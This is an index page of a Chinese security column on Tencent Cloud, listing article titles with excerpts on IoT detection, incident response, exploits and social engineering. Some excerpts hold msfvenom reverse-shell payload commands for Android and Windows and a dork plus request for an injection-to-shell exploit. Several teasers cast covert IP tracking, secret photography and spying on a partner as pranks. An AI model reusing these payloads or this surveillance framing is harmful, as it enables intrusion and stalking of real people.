腾讯云开发者社区-腾讯云

开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

黑白安全

黑白网成立于2014年，基于丰富的技术和经验，提供各类技术性动态。官网:heibai.org.cn

专栏作者

1299

文章

2150396

阅读量

250

订阅数

ADEPT：物联网中相关攻击阶段的检测与识别

安全网络安全 tcp/ip 物联网编程算法

简介针对物联网相关攻击阶段识别面临的时间分散和空间分散两大挑战，论文提出了一个分布式框架ADEPT，可以跨时间和空间关联可疑活动并将其分类为可能的攻击阶段。方法ADEPT框架分为三阶段第一阶段：通过物联网网关设备检测各种异常。离线操作：建立哈希表存储与网关连接的物联网设备的配置表以检测设备变化，由于设备的正常行为可能随时间推移而改变，例如固件更新，因此定期(

2022-09-13

7311

hostscan - 自动化Host碰撞工具

很多时候，访问目标网站时，使用其真实IP无法访问，只有域名才能访问到后端业务服务。这是因为反代服务器（如nginx）配置了禁止直接IP访问。

2022-09-13

8631

Linux入侵后应急事件追踪分析

ssh 网络安全 tomcat linux tcp/ip

0x01 情况概述监控软件监控到服务器存在异常的访问请求，故对此服务器进行安全检查。通过提供的材料发现内网机器对某公网网站存在异常的访问请求，网络环境存在着异常的网络数据的访问情况。针对其服务器进行综合分析发现了病毒文件两例，内网扫描器两例，通过以上的发现证实服务器已被黑客入侵。0x02 取证情况2.1 目标网络情况下文中的内网内ip以及公网ip为替换后的脱

2022-04-26

1.2K0

漏洞发布 | 棋牌某源码通杀注入直接反弹shell

http json shell tcp/ip 缓存

直接上图FOFA搜索词：body="棋牌后台管理系统" && title=="后台登录"请求包POST /Login/ValidateLogin HTTP/1.1Host: 127.0.0.1:8001Content-Length: 30Accept: application/json, text/ja

2022-04-26

2.3K1

最亲近的陌生人

网络安全安全 tcp/ip

这是酒仙桥六号部队的第 83 篇文章。全文共计2449个字，预计阅读时长9分钟。1 为什么最亲近？随着近些年国内网络基础建设的飞速发展，无线WiFi的覆盖面已经很广了。几乎每个人每天都会有所接触，办公也好、下班后刷剧打游戏也好。不知道算不算最亲近？2 为什么又是陌生人想一下下面几个场景：你独自一人出差，住某酒店并且连接酒店WiFi，半夜醒来忽然发现手机在

2022-04-26

4290

云计算的20大常见安全漏洞与配置错误

DevOps 解决方案 tcp/ip ddos https 网络安全

云安全是公有云厂商最着力宣传的卖点之一，但是对于企业用户而言，过于信任和盲从云服务的默认配置是一件非常危险的事情，企业的安全架构师及云安全审核人员需要对云计算初始环境的安全漏洞和配置错误进行全面评估和调优。以下，我们列举微软Azure云计算环境的TOP20常见账户和配置漏洞（初始默认配置），对企业选择其他类似公有云服务也有一定借鉴意义。微软 Azure TO

2022-04-26

2K0

红队渗透手册之信息收集篇

tcp/ip 网站 cdn 搜索引擎

转发自：水滴安全实验室信息收集是渗透测试的前期主要工作，是非常重要的环节，收集足够多的信息才能方便接下来的测试，信息收集主要是收集网站的域名信息、子域名信息、目标网站信息、目标网站真实IP、敏感/目录文件、开放端口和中间件信息等等。通过各种渠道和手段尽可能收集到多的关于这个站点的信息，有助于我们更多的去找到渗透点，下面将介绍比较常见的一些信息收集的方法和需要

2022-04-26

1.8K0

请不要在我喜欢的人身上下手，我“刀”呢？

访问管理网络安全安全 tcp/ip 腾讯云测试服务

这是酒仙桥六号部队的第 47 篇文章。全文共计3021个字，预计阅读时长10分钟。1.背景昨天一个漂亮的高中同学突然叫我，说被别人骗了钱，让我帮帮忙，美女的忙，充满正义感的我向来是不会推脱的。（另外我还是有点喜欢她，虽然是上学时期的事了，但现在印象还是很好地。要是通过这次帮忙，对我的印象有了极大的提高，成就一段美满的爱情，又何尝不是一段佳话……）通过了解

2022-04-26

5510

我攻破了LOL钓鱼网站后台，查清背后的盗号黑色产业链。

访问管理 tcp/ip 网站网络安全

大好，我是田浩。2020年5月14日，我刚注册公众号没多久，有个叫方子的男生发私信给我。说英雄联盟准备出手游，但内测资格一直没公开，有骗子利用这个机会，伪造官方给用户发送带有钓鱼链接的邮件来盗号。方子就是其中一个受害者，除了他，我也去了英雄联盟的贴吧看了下，确实有很多人收到了这类邮件。由于反馈这事的人比较多，加上我平常也玩LOL，所以整理了下线索，开整。1目

2022-04-26

1.6K0

什么是DNS泄漏以及如何解决

dns VPN 连接 ipv6 windows tcp/ip

DNS将域名转换为IP地址，从而使用户无需记住一长串数字即可在连接到Internet时访问网站和服务。

2022-04-26

8.5K0

我接到了诈骗电话，顺藤摸瓜揪出幕后黑手

朋友上个月送了我一张免实名的电话卡，于是我插到手机里用来注册网站APP使用，有趣的是，前几天我这张电话卡在短短几分钟内收到无数条短信、电话轰炸。

2022-04-26

1.5K1

点开一个网址我被记录了ip还偷拍了照片

tcp/ip 网络安全安全

突发奇想的思路，既然可以记录IP我为什么不可以更方便些，顺手偷拍攻击对象，看看他长啥样！

2022-04-26

9900

顺着网线来打你？qq电话抓ip

当你哪一天真想在现实中搞点什么的时候，你可以抓抓IP，然后顺着网线，就可以那个那个了。

2022-04-26

3.1K0

CVE-2019-0708_RDP漏洞利用

windows 漏洞扫描服务 tcp/ip 网络安全安全

基于Windows系列服务器系列漏洞,在2019年5月15日被公开,级别属于高危漏洞,利用方式简单,通过3389端口，RDP协议进行攻击。这个漏洞是今年危害严重性最大的漏洞

2022-04-26

1.7K0

木马msfpayload

tcp/ip 网络安全 android

安卓木马后门：msfvenom -p Android/Meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk

2022-04-26

1.1K0

社工丨刚刚发现一个软件，我想给你看看.

出于对女朋友的不信任，我打算玩一波大。对，我不仅要查她联系人，还要抓她IP！打开E4A绞尽脑汁想出一段骚气的话，为了避免发生意外（这真不是我骚，而是女孩子就爱吃这一套）添加框内组件（手机、短信、电话簿）对，就这么简短两句，打码部分为收信手机号下一步，我准备搭建ip记录平台。臭妹妹，你以为我跟你闹着玩儿呢来吧,come Baby还真来了有了ip先GPS一波短信

2022-04-26

4910

我顺藤摸瓜端了色情网站的老窝，并劝他从良

网站微信 tcp/ip

可以推测出来这个色情网站的站长是做的站群类型【站群最简单的理解就是一群网站，而这些网站都是属于一个人的】

2022-04-26

1.2K0

SURF路由器安全漏洞研究

安全 dns 网络安全 tcp/ip 存储

在2019年6月，我们发布了一篇关于Belkin SURF N300路由器上进行硬件调试的博客文章。在本博客中，我们将研究Josep Pi Rodriguez和PedroGuillénNúñez在此平台上所报告的10多个漏洞。 Belkin已接受我们的漏洞报告，但Belkin表示该产品已停产，相关漏洞不再进行修补。这些漏洞影响了Belkin SuperT

2022-04-26

1.1K0

Metasploit笔记

windows php tcp/ip

msfvenom -p windows/Meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o 1987.exe

2022-04-26

4440

怎样使用Python打造免杀payload

html python windows tcp/ip

在为公司实施信息安全防御方案的时候，大家一般会将防病毒软件作为方案中的一部分，这绝对是一个明智之举。我们可以通过防病毒软件抵御大部分病毒。但是，我们要知道，防病毒软件只是起到了一定的保护作用，仅仅靠防病毒手段保证终端计算机的安全，还是远远不够。一个完善的信息安全方案应该是一个全方位的防护体系，应该包括补丁更新服务、防火墙、杀毒软件、主机物理安全、身份认账管理

2022-04-26

1.1K0

点击加载更多

社区活动

腾讯技术创作狂欢月

“码”上创作 21 天，分 10000 元奖品池！

Python精品学习库

代码在线跑，知识轻松学

博客搬家 | 分享价值百万资源包

自行/邀约他人一键搬运博客，速成社区影响力并领取好礼

技术创作特训营·精选知识专栏

往期视频·千货材料·成员作品最新动态